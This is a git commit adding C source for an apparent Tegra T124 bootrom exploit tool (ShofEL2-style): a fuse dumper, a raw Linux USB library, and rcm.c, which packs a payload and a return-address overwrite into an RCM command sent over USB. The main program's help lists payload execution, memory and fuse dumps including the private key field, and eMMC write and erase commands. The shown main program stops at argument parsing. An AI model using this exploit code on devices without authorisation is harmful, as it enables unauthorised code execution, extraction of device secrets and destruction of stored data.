This commit is contained in:
2026-03-15 20:32:39 +02:00
parent d1ad48155e
commit 2f07910512
32 changed files with 3565 additions and 0 deletions

138
Shofel/exploit/fuse.c Normal file
View File

@@ -0,0 +1,138 @@
// Copy paste from https://github.com/moriczgergo/moonflower/blob/933ab9ef66b76aa49ad2c29ca88d78173a81eff2/src/fuse.h
#include "fuse.h"
void print_fuses( fuse_chip_registers_t *fuse_chip_registers ) {
// don't worry, i didn't type these in by hand.
printf( "FUSE_PRODUCTION_MODE: %08x\n", fuse_chip_registers->FUSE_PRODUCTION_MODE );
printf( "FUSE_JTAG_SECUREID_VALID: %08x\n", fuse_chip_registers->FUSE_JTAG_SECUREID_VALID );
printf( "FUSE_ODM_LOCK: %08x\n", fuse_chip_registers->FUSE_ODM_LOCK );
printf( "FUSE_OPT_OPENGL_EN: %08x\n", fuse_chip_registers->FUSE_OPT_OPENGL_EN );
printf( "FUSE_SKU_INFO: %08x\n", fuse_chip_registers->FUSE_SKU_INFO );
printf( "FUSE_CPU_SPEEDO_0_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_SPEEDO_0_CALIB );
printf( "FUSE_CPU_IDDQ_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_IDDQ_CALIB );
printf( "RESERVED_0x01C: %08x\n", fuse_chip_registers->RESERVED_0x01C );
printf( "RESERVED_0x020: %08x\n", fuse_chip_registers->RESERVED_0x020 );
printf( "RESERVED_0x024: %08x\n", fuse_chip_registers->RESERVED_0x024 );
printf( "FUSE_OPT_FT_REV: %08x\n", fuse_chip_registers->FUSE_OPT_FT_REV );
printf( "FUSE_CPU_SPEEDO_1_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_SPEEDO_1_CALIB );
printf( "FUSE_CPU_SPEEDO_2_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_SPEEDO_2_CALIB );
printf( "FUSE_SOC_SPEEDO_0_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_SPEEDO_0_CALIB );
printf( "FUSE_SOC_SPEEDO_1_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_SPEEDO_1_CALIB );
printf( "FUSE_SOC_SPEEDO_2_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_SPEEDO_2_CALIB );
printf( "FUSE_SOC_IDDQ_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_IDDQ_CALIB );
printf( "RESERVED_0x044: %08x\n", fuse_chip_registers->RESERVED_0x044 );
printf( "FUSE_FA: %08x\n", fuse_chip_registers->FUSE_FA );
printf( "FUSE_RESERVED_PRODUCTION: %08x\n", fuse_chip_registers->FUSE_RESERVED_PRODUCTION );
printf( "FUSE_HDMI_LANE0_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE0_CALIB );
printf( "FUSE_HDMI_LANE1_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE1_CALIB );
printf( "FUSE_HDMI_LANE2_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE2_CALIB );
printf( "FUSE_HDMI_LANE3_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE3_CALIB );
printf( "FUSE_ENCRYPTION_RATE: %08x\n", fuse_chip_registers->FUSE_ENCRYPTION_RATE );
printf( "FUSE_PUBLIC_KEY 0-3: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_PUBLIC_KEY[0], fuse_chip_registers->FUSE_PUBLIC_KEY[1], fuse_chip_registers->FUSE_PUBLIC_KEY[2], fuse_chip_registers->FUSE_PUBLIC_KEY[3] );
printf( "FUSE_PUBLIC_KEY 4-7: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_PUBLIC_KEY[4], fuse_chip_registers->FUSE_PUBLIC_KEY[5], fuse_chip_registers->FUSE_PUBLIC_KEY[6], fuse_chip_registers->FUSE_PUBLIC_KEY[7] );
printf( "FUSE_TSENSOR1_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR1_CALIB );
printf( "FUSE_TSENSOR2_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR2_CALIB );
printf( "RESERVED_0x08C: %08x\n", fuse_chip_registers->RESERVED_0x08C );
printf( "FUSE_OPT_CP_REV: %08x\n", fuse_chip_registers->FUSE_OPT_CP_REV );
printf( "FUSE_OPT_PFG: %08x\n", fuse_chip_registers->FUSE_OPT_PFG );
printf( "FUSE_TSENSOR0_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR0_CALIB );
printf( "FUSE_BOOTROM_PATCH_SIZE: %08x\n", fuse_chip_registers->FUSE_BOOTROM_PATCH_SIZE );
printf( "FUSE_SECURITY_MODE: %08x\n", fuse_chip_registers->FUSE_SECURITY_MODE );
printf( "FUSE_PRIVATE_KEY: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_PRIVATE_KEY[0], fuse_chip_registers->FUSE_PRIVATE_KEY[1], fuse_chip_registers->FUSE_PRIVATE_KEY[2], fuse_chip_registers->FUSE_PRIVATE_KEY[3] );
printf( "FUSE_DEVICE_KEY: %08x\n", fuse_chip_registers->FUSE_DEVICE_KEY );
printf( "FUSE_ARM_DEBUG_DIS: %08x\n", fuse_chip_registers->FUSE_ARM_DEBUG_DIS );
printf( "FUSE_BOOT_DEVICE_INFO: %08x\n", fuse_chip_registers->FUSE_BOOT_DEVICE_INFO );
printf( "FUSE_RESERVED_SW: %08x\n", fuse_chip_registers->FUSE_RESERVED_SW );
printf( "FUSE_VP8_ENABLE: %08x\n", fuse_chip_registers->FUSE_VP8_ENABLE );
printf( "FUSE_RESERVED_ODM 0-3: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_RESERVED_ODM[0], fuse_chip_registers->FUSE_RESERVED_ODM[1], fuse_chip_registers->FUSE_RESERVED_ODM[2], fuse_chip_registers->FUSE_RESERVED_ODM[3] );
printf( "FUSE_RESERVED_ODM 4-7: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_RESERVED_ODM[4], fuse_chip_registers->FUSE_RESERVED_ODM[5], fuse_chip_registers->FUSE_RESERVED_ODM[6], fuse_chip_registers->FUSE_RESERVED_ODM[7] );
printf( "FUSE_OBS_DIS: %08x\n", fuse_chip_registers->FUSE_OBS_DIS );
printf( "RESERVED_0x0EC: %08x\n", fuse_chip_registers->RESERVED_0x0EC );
printf( "FUSE_USB_CALIB: %08x\n", fuse_chip_registers->FUSE_USB_CALIB );
printf( "FUSE_SKU_DIRECT_CONFIG: %08x\n", fuse_chip_registers->FUSE_SKU_DIRECT_CONFIG );
printf( "FUSE_KFUSE_PRIVKEY_CTRL: %08x\n", fuse_chip_registers->FUSE_KFUSE_PRIVKEY_CTRL );
printf( "FUSE_PACKAGE_INFO: %08x\n", fuse_chip_registers->FUSE_PACKAGE_INFO );
printf( "FUSE_OPT_VENDOR_CODE: %08x\n", fuse_chip_registers->FUSE_OPT_VENDOR_CODE );
printf( "FUSE_OPT_FAB_CODE: %08x\n", fuse_chip_registers->FUSE_OPT_FAB_CODE );
printf( "FUSE_OPT_LOT_CODE_0: %08x\n", fuse_chip_registers->FUSE_OPT_LOT_CODE_0 );
printf( "FUSE_OPT_LOT_CODE_1: %08x\n", fuse_chip_registers->FUSE_OPT_LOT_CODE_1 );
printf( "FUSE_OPT_WAFER_ID: %08x\n", fuse_chip_registers->FUSE_OPT_WAFER_ID );
printf( "FUSE_OPT_X_COORDINATE: %08x\n", fuse_chip_registers->FUSE_OPT_X_COORDINATE );
printf( "FUSE_OPT_Y_COORDINATE: %08x\n", fuse_chip_registers->FUSE_OPT_Y_COORDINATE );
printf( "FUSE_OPT_SEC_DEBUG_EN: %08x\n", fuse_chip_registers->FUSE_OPT_SEC_DEBUG_EN );
printf( "FUSE_OPT_OPS_RESERVED: %08x\n", fuse_chip_registers->FUSE_OPT_OPS_RESERVED );
printf( "FUSE_SATA_CALIB: %08x\n", fuse_chip_registers->FUSE_SATA_CALIB );
printf( "FUSE_GPU_IDDQ_CALIB: %08x\n", fuse_chip_registers->FUSE_GPU_IDDQ_CALIB );
printf( "FUSE_TSENSOR3_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR3_CALIB );
printf( "FUSE_SKU_BOND_OUT_L: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_L );
printf( "FUSE_SKU_BOND_OUT_H: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_H );
printf( "FUSE_SKU_BOND_OUT_U: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_U );
printf( "FUSE_SKU_BOND_OUT_V: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_V );
printf( "FUSE_SKU_BOND_OUT_W: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_W );
printf( "RESERVED_0x144: %08x\n", fuse_chip_registers->RESERVED_0x144 );
printf( "FUSE_OPT_SUBREVISION: %08x\n", fuse_chip_registers->FUSE_OPT_SUBREVISION );
printf( "FUSE_OPT_SW_RESERVED_0: %08x\n", fuse_chip_registers->FUSE_OPT_SW_RESERVED_0 );
printf( "FUSE_OPT_SW_RESERVED_1: %08x\n", fuse_chip_registers->FUSE_OPT_SW_RESERVED_1 );
printf( "FUSE_TSENSOR4_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR4_CALIB );
printf( "FUSE_TSENSOR5_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR5_CALIB );
printf( "FUSE_TSENSOR6_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR6_CALIB );
printf( "FUSE_TSENSOR7_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR7_CALIB );
printf( "FUSE_OPT_PRIV_SEC_EN: %08x\n", fuse_chip_registers->FUSE_OPT_PRIV_SEC_EN );
printf( "FUSE_PKC_DISABLE: %08x\n", fuse_chip_registers->FUSE_PKC_DISABLE );
printf( "RESERVED_0x16C: %08x\n", fuse_chip_registers->RESERVED_0x16C );
printf( "RESERVED_0x170: %08x\n", fuse_chip_registers->RESERVED_0x170 );
printf( "RESERVED_0x174: %08x\n", fuse_chip_registers->RESERVED_0x174 );
printf( "RESERVED_0x178: %08x\n", fuse_chip_registers->RESERVED_0x178 );
printf( "FUSE_FUSE2TSEC_DEBUG_DISABLE: %08x\n", fuse_chip_registers->FUSE_FUSE2TSEC_DEBUG_DISABLE );
printf( "FUSE_TSENSOR8_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR8_CALIB );
printf( "FUSE_OPT_CP_BIN: %08x\n", fuse_chip_registers->FUSE_OPT_CP_BIN );
printf( "FUSE_OPT_GPU_FS: %08x\n", fuse_chip_registers->FUSE_OPT_GPU_FS );
printf( "FUSE_OPT_FT_BIN: %08x\n", fuse_chip_registers->FUSE_OPT_FT_BIN );
printf( "RESERVED_0x190: %08x\n", fuse_chip_registers->RESERVED_0x190 );
printf( "FUSE_SKU_BOND_OUT_X: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_X );
printf( "FUSE_APB2JTAG_DISABLE: %08x\n", fuse_chip_registers->FUSE_APB2JTAG_DISABLE );
printf( "RESERVED_0x19C: %08x\n", fuse_chip_registers->RESERVED_0x19C );
printf( "FUSE_PHY_FLOORSWEEP: %08x\n", fuse_chip_registers->FUSE_PHY_FLOORSWEEP );
printf( "FUSE_PHY_FLOOR_ENABLE: %08x\n", fuse_chip_registers->FUSE_PHY_FLOOR_ENABLE );
printf( "FUSE_ARM_CRYPT_DE_FEATURE: %08x\n", fuse_chip_registers->FUSE_ARM_CRYPT_DE_FEATURE );
printf( "FUSE_DENVER_MTS_DE_FEATURE: %08x\n", fuse_chip_registers->FUSE_DENVER_MTS_DE_FEATURE );
printf( "FUSE_DIE_VERSION_OVERRIDE: %08x\n", fuse_chip_registers->FUSE_DIE_VERSION_OVERRIDE );
printf( "FUSE_TRIMMERS: %08x\n", fuse_chip_registers->FUSE_TRIMMERS );
printf( "FUSE_DENVER_BOOT_SEC: %08x\n", fuse_chip_registers->FUSE_DENVER_BOOT_SEC );
printf( "FUSE_DENVER_DFD_ACCESS: %08x\n", fuse_chip_registers->FUSE_DENVER_DFD_ACCESS );
printf( "FUSE_WOA_SKU_FLAG: %08x\n", fuse_chip_registers->FUSE_WOA_SKU_FLAG );
printf( "FUSE_ECO_RESERVE_1: %08x\n", fuse_chip_registers->FUSE_ECO_RESERVE_1 );
printf( "FUSE_GCPLEX_CONFIG_FUSE: %08x\n", fuse_chip_registers->FUSE_GCPLEX_CONFIG_FUSE );
printf( "RESERVED_0x1CC: %08x\n", fuse_chip_registers->RESERVED_0x1CC );
printf( "RESERVED_0x1D0: %08x\n", fuse_chip_registers->RESERVED_0x1D0 );
printf( "RESERVED_0x1D4: %08x\n", fuse_chip_registers->RESERVED_0x1D4 );
printf( "RESERVED_0x1D8: %08x\n", fuse_chip_registers->RESERVED_0x1D8 );
printf( "RESERVED_0x1DC: %08x\n", fuse_chip_registers->RESERVED_0x1DC );
printf( "RESERVED_0x1E0: %08x\n", fuse_chip_registers->RESERVED_0x1E0 );
printf( "RESERVED_0x1E4: %08x\n", fuse_chip_registers->RESERVED_0x1E4 );
printf( "RESERVED_0x1E8: %08x\n", fuse_chip_registers->RESERVED_0x1E8 );
printf( "RESERVED_0x1EC: %08x\n", fuse_chip_registers->RESERVED_0x1EC );
printf( "RESERVED_0x1F0: %08x\n", fuse_chip_registers->RESERVED_0x1F0 );
printf( "RESERVED_0x1F4: %08x\n", fuse_chip_registers->RESERVED_0x1F4 );
printf( "RESERVED_0x1F8: %08x\n", fuse_chip_registers->RESERVED_0x1F8 );
printf( "FUSE_SPARE_REALIGNMENT_REG: %08x\n", fuse_chip_registers->FUSE_SPARE_REALIGNMENT_REG );
printf( "FUSE_SPARE_BITS 00-03: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[ 0], fuse_chip_registers->FUSE_SPARE_BITS[ 1], fuse_chip_registers->FUSE_SPARE_BITS[ 2], fuse_chip_registers->FUSE_SPARE_BITS[ 3] );
printf( "FUSE_SPARE_BITS 04-07: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[ 4], fuse_chip_registers->FUSE_SPARE_BITS[ 5], fuse_chip_registers->FUSE_SPARE_BITS[ 6], fuse_chip_registers->FUSE_SPARE_BITS[ 7] );
printf( "FUSE_SPARE_BITS 08-11: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[ 8], fuse_chip_registers->FUSE_SPARE_BITS[ 9], fuse_chip_registers->FUSE_SPARE_BITS[10], fuse_chip_registers->FUSE_SPARE_BITS[11] );
printf( "FUSE_SPARE_BITS 12-15: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[12], fuse_chip_registers->FUSE_SPARE_BITS[13], fuse_chip_registers->FUSE_SPARE_BITS[14], fuse_chip_registers->FUSE_SPARE_BITS[15] );
printf( "FUSE_SPARE_BITS 16-19: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[16], fuse_chip_registers->FUSE_SPARE_BITS[17], fuse_chip_registers->FUSE_SPARE_BITS[18], fuse_chip_registers->FUSE_SPARE_BITS[19] );
printf( "FUSE_SPARE_BITS 20-23: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[20], fuse_chip_registers->FUSE_SPARE_BITS[21], fuse_chip_registers->FUSE_SPARE_BITS[22], fuse_chip_registers->FUSE_SPARE_BITS[23] );
printf( "FUSE_SPARE_BITS 24-27: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[24], fuse_chip_registers->FUSE_SPARE_BITS[25], fuse_chip_registers->FUSE_SPARE_BITS[26], fuse_chip_registers->FUSE_SPARE_BITS[27] );
printf( "FUSE_SPARE_BITS 28-31: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[28], fuse_chip_registers->FUSE_SPARE_BITS[29], fuse_chip_registers->FUSE_SPARE_BITS[30], fuse_chip_registers->FUSE_SPARE_BITS[31] );
printf( "FUSE_SPARE_BITS 32-35: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[32], fuse_chip_registers->FUSE_SPARE_BITS[33], fuse_chip_registers->FUSE_SPARE_BITS[34], fuse_chip_registers->FUSE_SPARE_BITS[35] );
printf( "FUSE_SPARE_BITS 36-39: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[36], fuse_chip_registers->FUSE_SPARE_BITS[37], fuse_chip_registers->FUSE_SPARE_BITS[38], fuse_chip_registers->FUSE_SPARE_BITS[39] );
printf( "FUSE_SPARE_BITS 40-43: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[40], fuse_chip_registers->FUSE_SPARE_BITS[41], fuse_chip_registers->FUSE_SPARE_BITS[42], fuse_chip_registers->FUSE_SPARE_BITS[43] );
printf( "FUSE_SPARE_BITS 44-47: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[44], fuse_chip_registers->FUSE_SPARE_BITS[45], fuse_chip_registers->FUSE_SPARE_BITS[46], fuse_chip_registers->FUSE_SPARE_BITS[47] );
printf( "FUSE_SPARE_BITS 48-51: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[48], fuse_chip_registers->FUSE_SPARE_BITS[49], fuse_chip_registers->FUSE_SPARE_BITS[50], fuse_chip_registers->FUSE_SPARE_BITS[51] );
printf( "FUSE_SPARE_BITS 52-55: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[52], fuse_chip_registers->FUSE_SPARE_BITS[53], fuse_chip_registers->FUSE_SPARE_BITS[54], fuse_chip_registers->FUSE_SPARE_BITS[55] );
printf( "FUSE_SPARE_BITS 56-59: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[56], fuse_chip_registers->FUSE_SPARE_BITS[57], fuse_chip_registers->FUSE_SPARE_BITS[58], fuse_chip_registers->FUSE_SPARE_BITS[59] );
printf( "FUSE_SPARE_BITS 60-63: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[60], fuse_chip_registers->FUSE_SPARE_BITS[61], fuse_chip_registers->FUSE_SPARE_BITS[62], fuse_chip_registers->FUSE_SPARE_BITS[63] );
}

View File

@@ -0,0 +1,173 @@
#include "mini_libusb.h"
#define SYSFS_MOUNT_PATH "/sys"
#define SYSFS_DEVICE_PATH SYSFS_MOUNT_PATH "/bus/usb/devices"
struct setup_data {
uint8_t bRequestType;
uint8_t bRequest;
uint16_t wValue;
uint16_t wIndex;
uint16_t wLength;
uint8_t data[];
};
int usb_get_att(uint16_t *val, char *d_name, char *attr, int base) {
int ret = -1;
char filepath[256];
char attr_buf[20];
int attr_fd;
snprintf(filepath, sizeof(filepath), SYSFS_DEVICE_PATH "/%s/%s", d_name, attr);
attr_fd = open(filepath, O_RDONLY);
if (attr_fd < 0) {
DEBUG_MSG( "Usb %s: %s attribute not found.\n", d_name, attr );
goto exit;
}
if ( !read(attr_fd, attr_buf, sizeof(attr_buf)) ) {
DEBUG_MSG( "Usb %s: couldn't read %s.\n", d_name, attr );
goto exit;
}
*val = (uint16_t) strtol(attr_buf, NULL, base);
ret = 0;
exit:
close(attr_fd);
return ret;
}
int usb_find_path_by_vid_pid( char *path, uint16_t vid, uint16_t pid ) {
int ret = -1;
uint16_t d_vid, d_pid, d_bus, d_num;
DIR *devices = opendir( SYSFS_DEVICE_PATH );
struct dirent *entry;
if ( !devices ) {
fprintf( stderr, "Critical Error: Sysfs not avaiable." );
return 1;
}
while ( ( entry = readdir( devices ) ) ) {
if ( !isdigit( entry->d_name[0] ) || strchr( entry->d_name, ':' ) )
continue;
if ( !usb_get_att( &d_vid, entry->d_name, "idVendor", 16 ) && ( vid == d_vid ) &&
!usb_get_att( &d_pid, entry->d_name, "idProduct", 16 ) && ( pid == d_pid ) &&
!usb_get_att( &d_bus, entry->d_name, "busnum", 10 ) &&
!usb_get_att( &d_num, entry->d_name, "devnum", 10 ) ) {
sprintf( path, "/dev/bus/usb/%03d/%03d", d_bus, d_num );
ret = 0;
break;
}
}
closedir( devices );
return ret;
}
int usb_open_by_vid_pid( uint16_t vid, uint16_t pid, uint8_t wait ) {
int ret;
char path[256];
do {
ret = usb_find_path_by_vid_pid( path, vid, pid );
usleep( 500 );
} while ( wait && ( ret < 0 ) );
DEBUG_MSG( "USB Path: %s\n", path );
if (ret) {
return -1;
}
return open( path, O_RDWR );
}
int usb_close( int usb ) {
return usb;
}
int usb_send_control_txn( int usb, uint8_t bRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, uint16_t len, uint8_t *data, int32_t timeout ) {
int ret = -1;
size_t setup_len = sizeof ( struct setup_data ) + len;
struct setup_data *setup_data_buf;
setup_data_buf = malloc( setup_len );
memset( setup_data_buf, 0, setup_len );
setup_data_buf->bRequestType = bRequestType;
setup_data_buf->bRequest = bRequest;
setup_data_buf->wValue = wValue;
setup_data_buf->wIndex = wIndex;
setup_data_buf->wLength = len;
struct usbdevfs_urb usb_control_urb;
memset(&usb_control_urb, 0, sizeof (usb_control_urb));
usb_control_urb.type = USBDEVFS_URB_TYPE_CONTROL;
usb_control_urb.endpoint = 0x0;
usb_control_urb.buffer = setup_data_buf;
usb_control_urb.buffer_length = setup_len;
ioctl( usb, USBDEVFS_SUBMITURB, &usb_control_urb );
struct usbdevfs_urb *urb_reaped = NULL;
if ( timeout ) {
while ( timeout > 0 ) {
int _ret = ioctl( usb, USBDEVFS_REAPURBNDELAY, &urb_reaped );
if ( _ret == 0 ) {
break;
}
usleep(200000);
timeout -= 200;
}
} else {
ioctl( usb, USBDEVFS_REAPURB, &urb_reaped );
}
if ( urb_reaped && urb_reaped->status == 0 ) {
ret = 0;
memcpy( data, setup_data_buf->data, len );
}
if ( setup_data_buf ) free( setup_data_buf );
return ret;
}
int usb_send_bulk_txn( int usb, uint32_t ep, uint32_t len, void *data ) {
struct usbdevfs_bulktransfer bulk_txn;
memset( &bulk_txn, 0, sizeof ( bulk_txn ) );
bulk_txn.ep = ep;
bulk_txn.len = len;
bulk_txn.timeout = USB_BULK_TIMEOUT;
bulk_txn.data = data;
if ( ioctl( usb, USBDEVFS_BULK, &bulk_txn ) == len )
return 0;
return -1;
}

145
Shofel/exploit/rcm.c Normal file
View File

@@ -0,0 +1,145 @@
#include "rcm.h"
int get_payload_aft_len( int payload_file_fd ) {
struct stat payload_file_stat;
fstat( payload_file_fd, &payload_file_stat );
size_t payload_size = payload_file_stat.st_size;
if ( payload_size > MAX_PAYLOAD_FILE_SIZE ) {
fprintf( stderr, "Error: Payload file exceeds max payload size: %d bytes.\n", MAX_PAYLOAD_FILE_SIZE );
return -1;
}
size_t payload_aft_len = 0;
if ( payload_size > MAX_PAYLOAD_BEF_SIZE ) {
payload_aft_len = payload_size - MAX_PAYLOAD_BEF_SIZE;
}
return payload_aft_len;
}
int read_intermezzo( uint8_t *rcm_cmd_buf ) {
int ret = -1;
int intermezzo_fd = 0;
intermezzo_fd = open( "intermezzo.bin", O_RDONLY );
if ( intermezzo_fd < 0 ) {
fprintf( stderr, "Error: Couldn't open the intermezzo.bin file.\n" );
goto exit;
}
struct stat intermezzo_stat;
fstat( intermezzo_fd, &intermezzo_stat );
size_t intermezzo_size = intermezzo_stat.st_size;
if ( intermezzo_size > INTERMEZZO_LEN ) {
fprintf( stderr, "Error: Intermezzo file exceeds max intermezzo size: %d bytes.\n", INTERMEZZO_LEN );
goto exit;
}
read( intermezzo_fd, rcm_cmd_buf + RCM_CMD_BUF_INTERMEZZO_START, INTERMEZZO_LEN );
ret = 0;
exit:
if ( intermezzo_fd > 0) close( intermezzo_fd );
return ret;
}
int read_payload_file( int payload_file_fd, uint8_t *rcm_cmd_buf, size_t rcm_cmd_buf_len ) {
uint32_t payload_bef_len = read( payload_file_fd, rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_START, MAX_PAYLOAD_BEF_SIZE );
uint32_t payload_aft_len = 0;
if ( rcm_cmd_buf_len > RCM_CMD_BUF_PAYLOAD_CONT ) {
payload_aft_len = read( payload_file_fd, rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_CONT, rcm_cmd_buf_len - RCM_CMD_BUF_PAYLOAD_CONT );
}
payload_bef_len = TO_LITTLE_ENDIAN( payload_bef_len );
payload_aft_len = TO_LITTLE_ENDIAN( payload_aft_len );
memcpy( rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_BEF_LENVAR, (uint8_t *)&payload_bef_len, 0x4 );
memcpy( rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_AFT_LENVAR, (uint8_t *)&payload_aft_len, 0x4 );
return 0;
}
int build_rcm_cmd( int payload_file_fd, uint8_t *rcm_cmd_buf, size_t rcm_cmd_buf_len, uint32_t payload_thumb_mode ) {
int ret = -1;
const uint32_t rcm_cmd_len = TO_LITTLE_ENDIAN( RCM_CMD_LEN );
const uint32_t payload_entry = TO_LITTLE_ENDIAN( BOOTROM_PAYLOAD_ENTRY | 0x1 );
payload_thumb_mode = TO_LITTLE_ENDIAN( payload_thumb_mode );
ret = read_intermezzo( rcm_cmd_buf );
if ( ret < 0 ) {
goto exit;
}
ret = read_payload_file( payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len );
if ( ret < 0 ) {
goto exit;
}
memcpy( rcm_cmd_buf, (uint8_t *)&rcm_cmd_len, sizeof(uint32_t) );
memcpy( rcm_cmd_buf + RCM_CMD_BUF_MEMCPY_RET_ADD, (uint8_t *)&payload_entry, sizeof(uint32_t) );
memcpy( rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_THUMB_MODE, (uint8_t *)&payload_thumb_mode, sizeof(uint32_t) );
ret = 0;
exit:
return ret;
}
int send_rcm_cmd( int rcm_usb, char* payload_filename, uint32_t payload_thumb_mode ) {
int ret = -1;
uint8_t *rcm_cmd_buf = 0;
int payload_file_fd = 0;
payload_file_fd = open( payload_filename, O_RDONLY );
if ( payload_file_fd < 0 ) {
fprintf( stderr, "Error: Couldn't open the payload file: %s.\n", payload_filename );
goto exit;
}
int payload_aft_len = get_payload_aft_len( payload_file_fd );
if ( payload_aft_len < 0 ) {
goto exit;
}
size_t rcm_cmd_buf_len = RCM_CMD_BUF_PAYLOAD_CONT + payload_aft_len;
size_t padding = 0x1000 - ( rcm_cmd_buf_len % 0x1000 );
uint32_t n_writes = ( rcm_cmd_buf_len + padding) / 0x1000;
if ( ! ( n_writes % 2 ) ) {
padding += 0x1000;
}
rcm_cmd_buf = malloc( rcm_cmd_buf_len + padding );
if ( !rcm_cmd_buf ) {
fprintf( stderr, "Error: Couldn't alloc memory for RCM CMD buffer\n" );
goto exit;
}
memset( rcm_cmd_buf, 0x00, rcm_cmd_buf_len + padding);
ret = build_rcm_cmd( payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len, payload_thumb_mode );
if ( ret < 0 ) {
goto exit;
}
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, rcm_cmd_buf_len + padding, rcm_cmd_buf );
exit:
if (payload_file_fd > 0) close(payload_file_fd);
if (rcm_cmd_buf) free(rcm_cmd_buf);
return ret;
}

View File

@@ -0,0 +1,693 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include "t124.h"
#include "rcm.h"
#include "fuse.h"
#include "mini_libusb.h"
#include "mem_dumper_usb_server.h"
#include "emmc_server.h"
#include "emmc.h"
#include <sys/stat.h>
#include <time.h>
void print_hex_memory( void *mem, size_t size ) {
uint8_t *p = (uint8_t *)mem;
for ( int i = 0; i < size ; i++ ) {
if ( ( ( i % 16 ) == 0 ) && i )
printf( "\n" );
printf( "0x%02x ", p[i] );
}
printf( "\n" );
}
void print_help() {
fprintf( stderr, "shofel2_t124 ( MEM_DUMP | READ_FUSES | BOOT_BCT | PAYLOAD | DUMP_STACK | EMMC_STATUS | EMMC_READ | EMMC_WRITE | EMMC_READ_EXT_CSD | EMMC_ERASE ) [options]\n"
"\t* MEM_DUMP address length out_file -> Dumps \"length\" bytes starting from \"address\" to \"out_file\".\n"
"\t* READ_FUSES out_file -> Dumps the T124 fuses to \"out_file\" and show them in console.\n"
"\t* BOOT_BCT -> Boots BCT without applying locks.\n"
"\t* PAYLOAD payload.bin [arm|thumb] -> Boots \"payload.bin\" the entrymode mode can be specified (thumb by default).\n"
"\t* DUMP_STACK -> Dumps the stack as it is before smash it.\n"
"\t* EMMC_STATUS -> Dumps SDMMC4 controller registers.\n"
"\t* EMMC_READ start_sector num_sectors out_file -> Reads eMMC sectors to file (hex values).\n"
"\t* EMMC_WRITE start_sector in_file -> Writes file to eMMC at start_sector (hex value).\n"
"\t* EMMC_READ_EXT_CSD out_file -> Reads 512-byte EXT_CSD register (chip health/config info).\n"
"\t* EMMC_ERASE start_sector end_sector -> Erases sectors (tells controller to reallocate bad blocks).\n\n" );
}
int main( int argc, char *argv[] ) {
int _ret_main = -1;
int rcm_usb = 0;
uint8_t *data = NULL;
int hacky_get_status_len = BOOTROM_SMASH_LEN;
char *payload_filename = NULL;
uint32_t payload_thumb_mode = 1;
uint8_t *dump = NULL;
uint32_t dump_start = 0;
uint32_t dump_len = 0;
char *dump_filename;
int dump_fd = -1;
uint8_t do_print_fuse = 0;
int emmc_mode = 0; /* 0=none, 1=status, 2=read, 3=write, 4=read_ext_csd, 5=erase */
uint32_t emmc_start_sector = 0;
uint32_t emmc_num_sectors = 0;
char *emmc_filename = NULL;
// ---- PARSE ARGS ----
if ( argc < 2 ) {
fprintf( stderr, "Error: invalid argument count.\n\n" );
print_help();
goto exit;
}
